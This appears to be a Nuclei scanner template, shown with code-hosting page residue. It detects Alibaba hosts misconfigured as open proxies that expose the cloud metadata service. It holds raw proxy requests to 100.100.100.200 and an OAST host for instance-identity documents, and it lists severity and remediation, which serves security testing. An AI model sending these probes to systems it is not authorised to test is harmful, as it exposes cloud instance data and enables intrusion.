51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: metadata-service-alibaba
|
|
|
|
# This attack abuses a misconfigured proxy that allows access to the metadata
|
|
# IP or a name which resolves to the IP. A standard proxy request is made to
|
|
# the proxy using the full metadata URL, which the proxy will fulfill to its
|
|
# own metadata service.
|
|
#
|
|
# The proxy may also be vulnerable to host/port enumeration on localhost or
|
|
# inside the private network.
|
|
info:
|
|
name: Alibaba Metadata Service Check
|
|
author: sullo,pwnhxl
|
|
severity: critical
|
|
description: The Alibaba host is configured as a proxy which allows access to the metadata service. This could allow significant access to the host/infrastructure.
|
|
remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
|
|
reference:
|
|
- https://www.alibabacloud.com/help/doc-detail/108460.htm
|
|
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
|
|
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
|
|
cvss-score: 9.3
|
|
cwe-id: CWE-441
|
|
metadata:
|
|
max-request: 4
|
|
tags: exposure,config,alibaba,proxy,misconfig,metadata
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
GET http://{{hostval}}/{{path}} HTTP/1.1
|
|
Host: {{hostval}}
|
|
|
|
payloads:
|
|
hostval:
|
|
- alibaba.oast.pro
|
|
- 100.100.100.200
|
|
path:
|
|
- latest/dynamic/instance-identity/document
|
|
- 2016-01-01/dynamic/instance-identity/document
|
|
attack: clusterbomb
|
|
|
|
unsafe: true
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"serial-number"'
|
|
- '"zone-id":"'
|
|
condition: and
|
|
# digest: 4a0a00473045022000c213c2587442961f3838207da721f5b6a53dbe08a819589726d41e1b84e58e0221009c397250253e3e39a644196b8cd95e65d95b8d0f703901793f238bb0298395e6:922c64590222798bb761d5b6d8e72950 |